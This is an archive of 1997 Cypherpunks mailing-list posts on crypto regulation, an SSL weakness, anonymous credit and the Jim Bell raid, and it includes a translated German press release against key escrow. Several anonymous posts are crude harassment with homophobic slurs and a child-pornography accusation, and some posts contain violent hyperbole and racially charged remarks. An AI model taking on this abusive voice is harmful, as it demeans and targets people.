SIGNED MESSAGE----- snow writes: > TruthMonger: > > My personal view is that the war on DoubleSpeak was lost when we > > allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The > > Peacekeeper." If we had risen up and slaughtered a few hundred > > politicians at that time, then mental freedom would have had a slim > > chance of survival. > > Well, considering there was a .45 revolver named either "Peace > keeper" or "Peace Maker" in the late 1800's or early 1900's, I don't think > you can blame RR&c for that. Well, not to pick nits, but it was the peace maker, and it's name is appropriate. AFAIK, the Peace Maker was intended primarily for LEAs. You go into a warlike situation, then shoot people until there's peace. No logical holes there. However, the premise that a large nuke will keep some 3rd world dictator from lobbing some Exocets at your ships is, well, provably false. What, me on topic? never! Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBM08ODskz/YzIV3P5AQE8hAL/bIopjXkchFoeOqmVKKCCtkealccKoI60 clIs+MjemdQ0btFPZDzNXCL+0B9zi7dFfWAG2PFN15n+tTK1F0QrLkRISJjOVdmH zQmq08peDYRrGgHGPuvSLfF8KWfnou4f =6Ga4 -----END PGP SIGNATURE----- From toto at sk.sympatico.ca Fri Apr 11 21:27:07 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 11 Apr 1997 21:27:07 -0700 (PDT) Subject: Swedish Narcotics Police Demand Telephone Card Database In-Reply-To: Message-ID: <334F08BA.5CE7@sk.sympatico.ca> Martin Minow wrote: > > the Stockholm narcotics police has asked the national police and > State Prosecutor to require that purchasers of a new telephone > card used for mobile telephones be registered, and that the police > have access to the purchaser database. > > A similar card is in use in France. However, the French security > service made the government force the telephone company to require > that purchasers show an id card when tbey purchase the card. I smell a market here for enterpreneurs. I'm certain that there are more than a few wino's sleeping better at night, having earned a little extra cash by purchasing telephone cards for parties who require them. So a thousand customers will have to pay the inflated prices for the cards as a result of the extra paperwork, in order that one alleged criminal will also have to do so. I would like to see a study done that shows how many regular folk have had to engage in illegal activities in order to be able to afford all of the extra costs they face in their daily activities, in order for the authorities to 'catch criminals'. How about if we have Congress pass legislation that supplies drugs to users at a low cost, but requires them to steal a TV in order to get the special price? Is this more ridiculous than keeping the prices of drugs artificially high and getting the same results? The up-side of laws making the spread of strong encryption illegal is that perhaps it will flood the jails and force the authorities to release drug users. Of course, this may backfire, since drug users can become dealers and make enough money to be able to afford strong crypto, no matter what the cost. I realize that I'm being silly, again, but maybe this twisted trail of logic might get me an executive position in the legal administrative system. (It has worked for others.) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From stewarts at ix.netcom.com Fri Apr 11 23:03:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 11 Apr 1997 23:03:06 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: Message-ID: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com> At 01:54 AM 4/11/97 -0500, ARTURO GRAPA YSUNZA wrote: >See http://www.Microsoft.com/security/ >under "Credit Card Security Concerns and Microsoft's Response" >for Microsoft's response on the SSL GET/POST weakness. �Any opinions? Thanks for the pointer to MS's security site; there's a lot of good information there. I was highly unimpressed with Microsoft's Response: "It's Not A Security Flaw" "But Everybody Important Works Around It" "And we're fixing it in the next release" without providing much detail about what's going on. It does indicate what to look into to avoid it when writing web pages, but it doesn't say how to avoid it when entering your credit card number into a web page, or what to look for as a non-programmer user. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From toto at sk.sympatico.ca Sat Apr 12 00:14:02 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 00:14:02 -0700 (PDT) Subject: A rant about economic distortions In-Reply-To: Message-ID: <334F3697.5C39@sk.sympatico.ca> Timothy C. May, sounding much like 'The Bok', which is not hard for rational people to do these days, wrote: > And Big Brother gets more intrusive every year. A person like me who wants > to hire some Mexicans for work out at my house faces a triple whammy. > > First, I'm supposed to fill out various forms to hire them And so long as folks > aren't in line to become Attorney General, or the Feds are not looking for > an excuse to bust them, this ignoring the reporting laws is probably not > too dangerous. The purpose of many laws seems to be to ensure that anyone, anywhere, at any time, is breaking at least a few of them, in case the government chooses to come after them. > Second, I'm supposed to verify the "right to work" of any applicant. I'm > supposed to demand documentation, and to somehow be able to detect > forgeries. Thus, anyone who is not Houdini, or who doesn't have access to the same records/databases as covert government agencies, is probably committing criminal actions without knowing it. > Third, I'd better watch what questions I ask, though. Gotcha either way, don't they? > There are other whammies, too. Tim gives an example, but he would have to fill an entire book in order to cover a even a modicum of situations applicable to the average person. > (Somewhere along the line we lost the right to hire and fire whom we chose > to. Now all such decisions must be documented, and produced on demand. The safest route is to fire the white guy. Anything else is an obvious act of discrimination. (I am not making any claim that the reverse has not been the case in the past, but only that the situation is equally as evil in either situation. 'Revenge' does not equate to 'Justice'.) > Used to be that the economy had plenty of "niches" for people unable or > unwilling to compete for more demanding/mechanical/factory jobs...the > aforementioned handymen and maids, etc. I know a businessman who had to lay off twenty disabled/retarded employees because he couldn't afford the cost of defending himself against charges that he was somehow taking advantage of them. They kept showing up for work, however, so he turned to me to set up a system whereby he could reward them for their 'volunteer' work. Now, even that is being challenged, even though their lives are immeasurably better as a result of his effort to enable them to be productive, functional members of society. > In my view, this was a more natural, normal, almost "tribal" way of living. > Those with lesser mental or ambition skills could still do something of use > for those who worked hard or had skills in demand. The fact of the matter is, many who have become 'rich' have done so by working night and day, as well as going broke a number of times, with no more resources to work with than those who choose to squander their own resources on drink, drugs and wanton living (Trust me, I am somewhat of an expert in the latter.) > The further result: those who can't fit into jobs worthy of minimum wage > (which is actually more than the official rate, given the need for tax > accountants to manage them, forms to be kept current, training to be given > because the public schools failed, insurance, etc.) are unemployable. Then > the State steps in and pays them not to work. At the tender age of 19, I received massive amounts of electroshock and given a lifetime pass to government assistance as a person who would never be fit to work in even the simplest of positions. Since that time, I have worked in a multitude of fields, including becoming a recording artist, mob figure, and president of a computer company. (None of which negates the fact that I am, indeed, crazy as a fucking loon.) In my mind, those stuck in the social welfare-state are not in any way different from those stuck in the corporate welfare-state. They have all bought into the government world-view and are merely pawns in different aspects of the game. I see no real difference in the ghetto resident who is paid not to work, and the Congressman who is paid not to grow cotton on his plantation. > Here in Kalifornia, garbage is strewn around the freeways. Convicts no > longer are sent out (though drunk drivers, being politically incorrect, > sometimes are). Nor are welfare recipients sent out to pick up garbage. No, > this would all be demeaning. Better to have CalTrans employees do the work. > Oh, and these CalTrans "transportation engineers" have starting salaries of > $32,000 a year. A bit high for garbage collectors, but, hey, if it was any > lower they could go on welfare and make just as much. This is how skewed > our economy has become, thanks to government meddling in economic > transactions. Some of those who see the world from this realistic viewpoint walk into a Denny's and blow people away, for no apparent reason. Some join an organization to 'change' things. Others write letters to the CypherPunks list. Some just change their name to Nero, and learn to play the violin. Still others, making their mark in the world as movers and shakers in the burgeoning world of eca$h, come to their senses and realize that the safest harbor of reality, in the midst of madness, is in the center of the storm, and they post messages saying, "I *love* this list." > Other rants are obvious, such as why in 48 out of the 50 states a person on > welfare earns the equivalent of $1500 or more a month, far, far higher than > minimum wage....in other words, the taxpaying shlubs working for $5.75 an > hour at Taco Bell are subsidizing others to stay at home watching t.v. and > smoking crack and getting paid more than they're making.... > For most American coloreds, the situation is hopeless until welfare as we > know it is ended. (And people are free to engage in economic transactions > of their choosing.) Some innocents will suffer, of course. But there's no > other way. It is just as hopeless for those 'in power'. We are all trapped on a runaway train, trying desperately to hang on, in the mistaken notion that someone is 'in control' of the situation, and will soon find some way to 'fix' it. Bad news, Bubba--the 'train' is in control, and there is no one at the wheel. I could go on and on, but I'm running low on Crayolas. It is getting harder and harder to find the 'old' colors, and the 'new' colors are part of the plot against me. Everyone at the 'home' says, "Hi!" -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From harka at nycmetro.com Sat Apr 12 00:21:33 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Sat, 12 Apr 1997 00:21:33 -0700 (PDT) Subject: german crypto laws Message-ID: <199704120722.DAA05153@linux.nycmetro.com> -----BEGIN PGP SIGNED MESSAGE----- This is a press release of the german Forum of Computer Professionals for Peace and Social Responsibility (FIfF). It discusses the crypto-proposals of the german government, which are similar to the UK and US proposals. Please note, that this is my own "unofficial" translation of it. All phrases in [] are either my additional comments or are phrases, that I couldn't translate directly. If you want the original german text, e-mail me. Ciao Harka ==================================================================== P R E S S R E L E A S E of the Forum of computer professionals for peace and social responsibility Bonn, in April, 1997 Cryptography proposals reverse constitutional rights The Forum of computer professional for peace and social responsibility declare the following to the recently made-public plans and intentions to regulate cryptography internationally and nationally: Very obvious are the efforts to the regulation of cryptography. After several tries guide lines to crypto-politics were worked out at the end of march by the OECD[1]. Almost simultaneously plans from the United States[2] and the United Kingdom[3] for new national crypto regulations became public. Further developments suggest, that also the [german] Federal Government has worked out specific plans to regulate cryptographic technology in Germany. On the current level of planning the [german] Federal Government is considering three variations of regulation[5]: 1. A key-escrow-solution, in which providers of cryptographic services have to provide the keys of customers to law-enforcement, if necessary. 2. A key-escrow-solution, in which only federally licenced providers of cryptographic services are permitted to operate. 3. A key-escrow-solution with simultaneous prohibition of all not federally permitted technologies. The FIfF is seeing herein a serious threat to the developement of society, that is increasingly dependent on information transfer. Not only is the protection of privacy now ranking below federal surveillance wishes, but also the protection of all interactions and transactions, that happen on electronic networks. This not acceptable interferance [with privacy] is for technical reasons not even accompanied by any plus sides for federal investigators. The planning of crypto regulations make clear not only the complete neglect of civil rights in our [german] constitution. It is becoming a symbol for the huge deficits in understanding the problems, possibilities and challenges of [...] an information society. The FIfF sees five areas, where arguments for the damage of crypto regulations can be made: I. Crypto regulations as last building block of surveillance Why does cryptography have to be regulated by law? From the official side a crypto regulation in Germany is necessary, because it's the last missing piece to surveillance of [long distance] information traffic. The law for "Long-distance information traffic surveillance" (FUeV)[6] forces providers of information traffic installations to provide the clear-text of monitored traffic to law enforcement. This can be avoided by end-to-end cryptography by single users. Since telefone and fax [communication] are rarely encrypted, a regulation of cryptography would mainly affect users of electronic networks, who can ensure the postal privacy only through encryption. It's underlying suggestion is, that encrypted data traffic of suspects [of crime] in electronic networks is the norm and can't be under surveillance. This is not true. The current laws and regulations are forcing providers of electronic networks to guarantee a surveillance of law enforcement and intelligence services; this is already happening[7]. Up until now no case is known, where the investigation of a crime was made impossible through cryptography. Nevertheless vague threat-scenarios are mentioned, to make an increased surveillance of information traffic more plausible. In Germany though it's hard to observe an under-development in surveillance. While in the United States and it's 240 million citizens 1229 telefone surveillance requests were granted in 1995, Germany with 80 million citizens had in the same time 3667 requests granted[8] - per citizen 6 times as many surveillance activities as in the USA. In 1996 the number of granted requests increased again 175 percent to 6428 [9]. No comparison of the crime rates in Germany and the USA can possibly explain these differences [...]. In which way these methods [of surveillance] have contributed to crime investigation is not known, since here a control of the [surveillance] activities is not done, as opposed to the USA. Although deficits [in surveillance] aren't noticable, the Great Listening Attack and crypto law are to open new fields for surveillance. Through that basic civil rights are increasingly limited. II. Basic rights are reversed The protagonists of a crypto law say, that such a regulation would be nothing new, but only a adaption of [existing] info surveillance to technical developments. This is wrong. Outlawing all not licenced crypto technology is reversing current principles of civil rights. The limitation of postal secrecy is only permitting the control of sendings. There are no forced ways of writing, nor are certain languages or ways of expression prohibited. No law is prohibiting to write with secret ink or to use any other means to make messages secret. Somebody opening letters has to do all work of analysis himself - no sender has to help him with a [correct] letter written according to law. A prohibition of cryptography, despite all current systems of law, would throw the law-conform electronic communication under the dictat of governmentally sanctioned syntaxes. No dictatorship in Germany has ever demanded that. III. After all, it's your money.... Electronic networks are transporting not only letters, even the politicians got that. Using cryptographic technologies therefore is not limited only to postal secrecy, but also other things worthy of protection. Those who make crypto laws also want the control over the electronic variants of transactions, that are currently under special privacy protection rights. The electronic service law of the IuKDG makes it obvious by stating explicitly electronic banking as an electronic service. For users of online-banking, online-work and online-medicine the bank-, service-, and medical secrecy gets reduced to the information traffic secrecy [law]. Thus the information traffic secrecy [law] is becoming a strategic basic [constitutional] right. A crypto law would not only undermine this basic right, but many others as well. Such a law is a trojan horse [for the democratic state] in an information society. IV. Additional problems in reality Let's assume, a crypto law would be formulated. How would it be [constitutional] and would it be practicable? To note is a law to digital signatures in the IuKDG, that indicates [a limitation of asymmetric] cryptography technologies. This leads to characteristic problems. 1. A handing-over of an escrowed key to law-enforcement means with currently available systems, that a unlimited surveillance of the key-owner is possible, as long as he uses the same [unchanged] key. This is even in the practice of surveillance an un-precedented limitation of citizens-rights, which [out-of-proportion nature] is also clear to cryptography experts and supporters of a [crypto] law: No one less than Otto Leibrich, Ex-President of the Federal Agency of Information Technology Security (BSI), publicized, how through introducing a time-variable in cryptography technologies timely limits should be set to surveillance[10]. But could the security agencies have an interest in [such] a lawful technology, that could not be decrypted anymore, when users could prevent investigation already through a changed system date? 2. The [available to law-enforcement] private key of a suspect makes only his incoming data traffic readable, but not his messages to third persons. In respect to the nature of asymmetric crypto technologies [...] proofs for an communicated agreement with third persons to commit a crime are only to be won, if also the keys of his communication partners are available, and beyond that in certain circumstances even their partners. The result is a tendency of an exponential increase of the [circle of] suspects, the surveillances and the work-load for the investigators. Here is no proportionality anymore nor effective Investigation. 3. Due to the lack of competent institutions, the federal government will not be able to avoid using the infra-structure, that it's currently creating for introducing and issuing digital signatures, to control crypto keys as well. No law will balance the loss of trust, when one one side the institution has to hand over private keys to law-enforcement and on the other hand guarantees for the security of the digital signature. Would the digital signature get into the wrong hands, any document could be lawfully signed. The fear of citizens is understandable, to be [powerless] to manipulations of federal key mighties. With such a loss of trust the federal government and companies [that support the digital signature] shouldn't even bother [to set up the infra-structure]. 4. A national crypto law is not able to adress accordingly the problems of international traffic typical for electronic networks. To get the crypto keys of a "Mafia Organization", the agencies of several countries would have to be mobilized. Are the supporters of a crypto law really serious, that an international co-operation in getting escrowed keys would function better than the current bad co-operation in investigating crimes, where electronic networks were used? 5. Compared to that it's almost neglectable, how such a crypto law would make harder the life of the software industry. To guarantee a relation of crypto key and user on the grounds of the law, the makers of Internet-browsers, for example, [...], would have to refrain from distributing their products in Germany via the Internet and instead sell software packages only [in stores] to persons with ID. Such an effort is affordable only for a few and wouldn't necessarely strengthen the position of the legal use of secure systems. When beyond that different and technically incompatible national regulations were enacted, the much cheered upon global Electronic Commerce would remain an illusion. V. A crypto law doesn't make the investigators smarter either Nobody can overlook this fact: a crypto law can be easily [routed around]. A legal cryptographic system can be used several times on a message, in fact, a with an illegal technology encrypted message could be "packed" in a legal system. Also a crypto law can be avoided, so that nobody knows: Steganography and other means to use covert channels hide messages in plain-text files, for example, and put a veil around the very existence of an encrypted message. - From the routing around of the crypto law, the federal security experts hope to actually gain advantages, because out of the circle of users of illegal crypto technologies, they could win worthy hints about the organizational structure of the suspected circle of people. With the use of steganography such a group of persons is never to become known [to law-enforcement]. But what would be won, even if a group of people would be found, that uses the same illegal crypto system? Their communication would not be decryptable, thus has to be won through other means. As investigators today are already sinking in a mountain of papers with protocols of phone surveillances, in the future they will have to spend even more effort to investigate groups, who have done nothing wrong but to use an non-permitted crypto system and communicate incidently with people, who are suspected of something. Such an effort can't even be justified by employment-market reasonings. To stamp the users of non-permitted cryptography automatically to suspects would be therefore even from an investigative perspective nothing but nonsense. - From a technical and practical perspective, a crypto law is nonsense and un-enforcable. [Some] lawyers though have the opinion, that independent from the enforcement the law has to be obeyed in any case. But such a dogmatic viewpoint is hard to balance with a democratic society. VI. Conclusion The FIfF has the opinion, that a crypto law would even more increase the already not shyly used surveillance of information traffic in Germany. It reverses constitutional rights and principles. It threatens drastically the constitutionally protected citizens-rights in electronic transactions and interactions. It would lead in practicality to severe additional problems with laws and will certainly not make the work for investigators any easier. The problems that come with such a regulation will also not be solved through law-dogmatism. The severe damage for civil rights, democracy, but also economical interests, are opposed by a very thin advantage. With that background, every rational analysis would therefore have to come to the conclusion, to avoid a regulation of cryptography. That the federal government is not doing that, despite consultations with acknowledged experts over several years, is either a proof for lack of knowledge or the willing neglect of the consequences. The very similar regulations of the OECD, Great Britains, the USA and the West-German plans are out-of-sync with the visions of a global, democratic information society. VII. Demands Instead of a limitation of cryptography it is according to the FIfF necessary to: 1. increase the availability and use of cryptography, 2. not hinder the use of cryptography through limitations or prohibitions, 3. make the free choice of crypto systems possible, 4. support the development of secure crypto systems, 5. increase the protection for electronic transactions and interactions, 6. evaluate the use of federal surveillance of communication regularly, independently and in-depth. -------------------------- 1 Cryptography Policy Guidelines; Recommendation of the Council, http://www.oecd.org/dsti/iccp/crypto_e.html 2 http://www.cdt.org/crypto/admin_397_draft.html 3 Minister for Science and Technology: Licensing of Trusted Third Parties for the Provision of Encryption Services; http://www.cl.cam.ac.uk/users/rja14/dti.html 4 Presserklaerung des forschungspolitischen Sprechers von Buendnis 90/Die Gruenen, Dr. Manuel Kiper: http://www.gruenebt.de/aktuell/pm/indizes/in970236.htm 5 am konkretesten: C. Schulzki-Haddouti: Kanthers Kurs auf das Kryptoverbot; in: http://www.heise.de/tp/te/1146/fhome.htm 6 vgl. die Stellungnahme des FIfF zur FUeV unter http://hyperg.uni-paderborn.de/0x83ea6001_0x0036ce9 7 Erste Faelle einer Ueberwachung von Internet-Accounts wurden bekannt in: 30.000 Telephonate mitgehoert; in: Sueddeutsche Zeitung, 2.12.96, S. 15 8 USA: Newsweek 20.5.96, Bundesrepublik: Bt-Drs 13/3618 9 Bt-Drs. 13/7341 10 Otto Leiberich: Verschluesselung und Kriminalitaet II, in: BSI-Forum der KES 1/95 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Forum InformatikerInnen fuer Frieden und FFFF I fff FFFF gesellschaftliche Verantwortung (FIfF) e.V. F I f F Reuterstr. 44, D-53113 Bonn FFFF I fff FFFF E-mail: fiff at fiff.gun.de F I f F Tel.:xx49-228-219548 Fax: -214924 F I f F CL/GRUPPEN/FIFF und http://hyperg.uni-paderborn.de/~FIFF forum computer professionals for peace and social responsibility * * * * * * * * * * * * * PGP-Key on request * * * * * * * * * ==================================================================== /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM08quzltEBIEF0MBAQEn1gf/Ww87W3y3SrI6bK6Qg9iCgC6E40HSCkrB 2tFV3Zy+k7KtegHPrLikKhX1inJ+vEYPadHLhH1K45eGRJ/4lr4G3Pg+ozYNRalQ KAIeoD4XQNY4nOvm6+vMlg5lOhkObB5z4pf7H5P6j48c0HSKEITPk5ExBo7g5Hcv gl+yOrXYioEbSEScFkGYjvTh6zPNEqsr7Ma7nucON5OlqRe71Rdtn9FiGWSkxgTZ rRg1bnB6geksL/OeKz6neYXIfWuyFEoHs19sLo7gqGcCaib6nn+bs+qrWikJeY5L dWNzpoeqUSW46mZtUwC3IastDE2YhKuh7ffYPCG1v5AvaBG0NCZ4Sg== =fpKk -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From tmg at dev.null Sat Apr 12 00:41:30 1997 From: tmg at dev.null (TruthMangler) Date: Sat, 12 Apr 1997 00:41:30 -0700 (PDT) Subject: The Balance of Terror Message-ID: <199704120738.BAA15473@wombat.sk.sympatico.ca> Timothy C. May wrote: > At 12:22 AM -0400 4/12/97, Jeremiah A Blatz wrote: > > >peace. No logical holes there. However, the premise that a large nuke > >will keep some 3rd world dictator from lobbing some Exocets at your > >ships is, well, provably false. > > Given that the peace was kept, for whatever ultimate reasons, saying the > Peacekeeper had a "provably false" mission or name is unsupported. The same could be said for Charles Manson's aims being "provably false". The country has been going downhill since the 'Communist plot' to flouridate the water supply. "Provably false" has little meaning in this context, as well. > (We never have the luxury of running history over and over again, under > different controlled conditions, so we can't say for sure what caused > things to happen the way they did. I am persuaded that the balance of > terror in the 1950s-80s played a major role in the avoidance for 50 years > of any major wars. At horrendous cost to the U.S. and U.S.S.R., to be sure, > and better ways could probably have been found. But major wars _were_ > avoided.) I know it's midnight, the drugs are kicking in, and there are few posts to respond to on the weekend, but please make an attempt to start a new thread, as opposed to taking the easy way out and piling new drivel on top of old drivel. Dr. TruthRoberts From toto at sk.sympatico.ca Sat Apr 12 00:41:36 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 00:41:36 -0700 (PDT) Subject: SSL weakness affecting links from pa In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com> Message-ID: <334F3961.15AD@sk.sympatico.ca> Bill Stewart, ever the realist, despite the futility of rational thought in confronting today's world, wrote: > > At 01:54 AM 4/11/97 -0500, ARTURO GRAPA YSUNZA wrote: > >See http://www.Microsoft.com/security/ > >under "Credit Card Security Concerns and Microsoft's Response" > >for Microsoft's response on the SSL GET/POST weakness. �Any opinions? > > I was highly unimpressed with Microsoft's Response: > "It's Not A Security Flaw" > "But Everybody Important Works Around It" > "And we're fixing it in the next release" > without providing much detail about what's going on. > It does indicate what to look into to avoid it when writing web pages, > but it doesn't say how to avoid it when entering your credit card number > into a web page, or what to look for as a non-programmer user. Bill seems to be one of the few people to realize that tips and tricks for experienced programmers does nothing at all for the common user, who has no way of discerning which of the programs and sites that they access are indeed compensating for a system which contains a plethora of basic faults. When facing a firing squad, there is little comfort in knowing that only one or two of the rifles contain real bullets. Pardon me for suggesting that the average user will realize that he need not volunteer to face the firing squad if he doesn't want to. The 10,000 people who enter their credit card number at a web page prompt won't be on the nightly news. The guy or gal whose life was ruined when they did so, will be. Does anyone care to estimate what percentage of the 10,000 who didn't get totally screwed will think twice before using their credit card on the web again? -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From lucifer at dhp.com Sat Apr 12 01:36:46 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sat, 12 Apr 1997 01:36:46 -0700 (PDT) Subject: One-time pads Message-ID: <199704120836.EAA11968@dhp.com> Timmy C[reep] Mayonnaise studied yoga back-streching exercises for five years so he could blow himself (nobody else will). ///// | @ @ Timmy C[reep] Mayonnaise C _) \ o From bubba at dev.null Sat Apr 12 01:45:20 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Sat, 12 Apr 1997 01:45:20 -0700 (PDT) Subject: jWebWorld 30 Message-ID: <334F4C72.57DE@dev.null> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 17038 bytes Desc: not available URL: From toto at sk.sympatico.ca Sat Apr 12 01:54:53 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 12 Apr 1997 01:54:53 -0700 (PDT) Subject: Cryto Doggrel Message-ID: <334F4D60.4F9C@sk.sympatico.ca> Embedded in Tot[h]o[mo]'s babblings are preposterous lies, wild distortions, child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, and racial epithets. \\\\\|///// \\\\|//// < * | * > | * | \( . )/ \___/ From tmc at got.net Sat Apr 12 01:54:56 1997 From: tmc at got.net (Timothy C. May) Date: Sat, 12 Apr 1997 01:54:56 -0700 (PDT) Subject: Hash Techniques Message-ID: <334F4E24.2C0F@got.net> Toto carries a turd in his wallet for identification purposes. _ _/| \'o.0' =(___)= Tot[h]o[mo] U From tmc at got.net Sat Apr 12 01:54:58 1997 From: tmc at got.net (Timothy C. May) Date: Sat, 12 Apr 1997 01:54:58 -0700 (PDT) Subject: Bloated Economies Message-ID: <334F4E79.2FE4@got.net> Totohomo has been a source of endless embarassments to his sympathizers on and off the net. o \ o / _ o __| \ / |__ o _ \ o / o /|\ | /\ ___\o \o | o/ o/__ /\ | /|\ / \ / \ | \ /) | ( \ /o\ / ) | (\ / | / \ / \ From weidai at eskimo.com Sat Apr 12 02:08:16 1997 From: weidai at eskimo.com (Wei Dai) Date: Sat, 12 Apr 1997 02:08:16 -0700 (PDT) Subject: anonymous credit Message-ID: I used to think that the problem of anonymous credit is hopelessly intractable. I mean, who would loan money to an anonymous entity that may disappear at any time without a trace? Reputation, which is useful for other types of anonymous cooperation, is not a good solution in this case, since typically you need to borrow money to invest in reputation. Recently, I came upon a solution, inspired by an essay by the economist Steven Landsburg. I have to admit however, that the solution is fatally flawed. But I present it here anyway in the hope that one of you can offer an improvement that would make the scheme practical. The idea goes like this. The government announces a new series of anonymous zero-coupon treasury bonds that mature in 10 years, backed by a special lump-sum tax to be collected when the bonds mature. The proceeds of the bond auction and the tax are distributed equally among everyone. So basicly, the government forces everyone to take out a loan on the credit market and guarantees its collection. Anyone who does not want the loan anonymously buys treasury bonds with all of his distribution, holds them for 10 years, redeems them at maturity and uses the proceeds to pay off the lump-sum tax. The fatal flaw, of course, is that there is no reason why the government would want to help people get anonymous loans. Can anyone find a way to fix this? BTW, if anyone is interested in Steven Landsburg's essays, they are available at http://www.slate.com/Code/Compost/Compost.asp?Sort=Section&Key=20. I also highly recommend his book, _The Armchair Economist: Economics and Everyday Life_. "All crypto is economics." - Eric Hughes From tcmay at got.net Sat Apr 12 02:52:53 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 12 Apr 1997 02:52:53 -0700 (PDT) Subject: The Balance of Terror In-Reply-To: <199704120738.BAA15473@wombat.sk.sympatico.ca> Message-ID: At 1:45 AM -0600 4/12/97, TruthMangler wrote: > I know it's midnight, the drugs are kicking in, and there are >few posts to respond to on the weekend, but please make an attempt >to start a new thread, as opposed to taking the easy way out and >piling new drivel on top of old drivel. > >Dr. TruthRoberts Fuck you. I start more threads than anyone I know of. Jesus. The nonsense we get with nyms. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at REPLAY.COM Sat Apr 12 07:08:32 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 12 Apr 1997 07:08:32 -0700 (PDT) Subject: Hash Techniques In-Reply-To: <334F4E24.2C0F@got.net> Message-ID: <199704121408.QAA06581@basement.replay.com> :0 * Received: .*sympatico.ca /dev/null From dlv at bwalk.dm.com Sat Apr 12 07:43:48 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 12 Apr 1997 07:43:48 -0700 (PDT) Subject: The Balance of Terror In-Reply-To: Message-ID: "Timothy C. May" writes: > Fuck you. I start more threads than anyone I know of. No thank you, Timmy, we're not interested. Besides, you claim to have killfiled half the posters - how can you know who starts how many threads? Are you lying again? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From real at freenet.edmonton.ab.ca Sat Apr 12 09:53:59 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Sat, 12 Apr 1997 09:53:59 -0700 (PDT) Subject: One-time pads In-Reply-To: <199704120836.EAA11968@dhp.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Sat, 12 Apr 1997, lucifer Anonymous Remailer wrote: > Timmy C[reep] Mayonnaise studied yoga back-streching > exercises for five years so he could blow himself > (nobody else will). > > ///// > | @ @ Timmy C[reep] Mayonnaise > C _) > \ o > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From jimbell at pacifier.com Sat Apr 12 11:40:22 1997 From: jimbell at pacifier.com (Jim Bell) Date: Sat, 12 Apr 1997 11:40:22 -0700 (PDT) Subject: Jim Bell raid Message-ID: <199704121840.LAA06367@mail.pacifier.com> At 03:43 4/10/97 -0400, Sergey Goldgaber wrote: >On Wed, 9 Apr 1997, Greg Broiles wrote: >- -> I realize that we're talking about net-time, but "long before" seems like a >- -> poor way to describe the 2-2.5 days between the appearance of the "IRS >- -> Inspection" report (which was, in fact, the transcription of newspaper story) > >Time flies fast on the Internet; or haven't you noticed? Three days of rather >heated discussion took place between the time the arrest was announced and >your message saying that you had the warrants, etc. For the record, I was never arrested and so far haven't been charged with anything. They're mightily pissed, however, and who knows what'll happen in the future. However, the local news was pretty embarrassing to them, and they've unintentionally alerted the media that there is actually a story to be covered, although it wasn't the one they wanted! The local newspaper is putting the essay on their website, or so I hear, so the public is going to be able to bypass all of the government hype and get to the real issue. Jim Bell jimbell at pacifier.com From hal at rain.org Sat Apr 12 12:07:51 1997 From: hal at rain.org (Hal Finney) Date: Sat, 12 